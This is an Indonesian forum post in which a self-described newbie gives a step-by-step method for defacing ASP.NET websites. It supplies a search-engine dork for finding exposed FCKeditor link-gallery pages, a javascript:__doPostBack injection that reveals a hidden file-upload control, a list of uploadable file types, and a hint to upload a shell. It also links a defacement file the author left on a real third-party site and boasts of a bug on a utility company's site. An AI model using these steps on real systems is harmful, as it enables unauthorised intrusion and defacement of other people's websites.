Coba2 Deface aspx, Berhasil Jga

Maaf Kalo Hasilnya Jelek Ato Sederhana bgt... cma ini hasil pertama kali dri pembelajaran saya di forum2 dan juga di sini.... TQ buat master2 ^^

Maklum msih Newbie


Langkah-langkah : Dork ->>> inurl:Fck/fcklinkgallery.aspx




Pilih >> File ( A File On Your Site )


masukin kode ini di URL,trus jalanin

--------------------------- cut here -----------------------------------------

javascript:__doPostBack('ctlURL$cmdUpload','')

-------------------------- end here -----------------------------------------


Ntar muncul browse utk upload file,tgl di upload aja


Oia,file yg bisa di upload antara lain :

*. swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png, *.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.3gp,
*.asf, *.asx, *.avi, *.flv, *.m4v, *.mov, *.mp4, *.mpe, *.mpeg, *.mpg, *.ram, *.rm, *.rmvb, *.wm, *.wmv, *.vob




shell ? coba aja


Dan Ini Hasil Pertama Ane Sebagai Bahan Pembelajaran

http://fril.co.il/Portals/0/Defaced.txt

goood jub rooo.....

Kejadian di situs PLN.CO.ID
kemaren ini nih bug nya..
HahahaH
^_^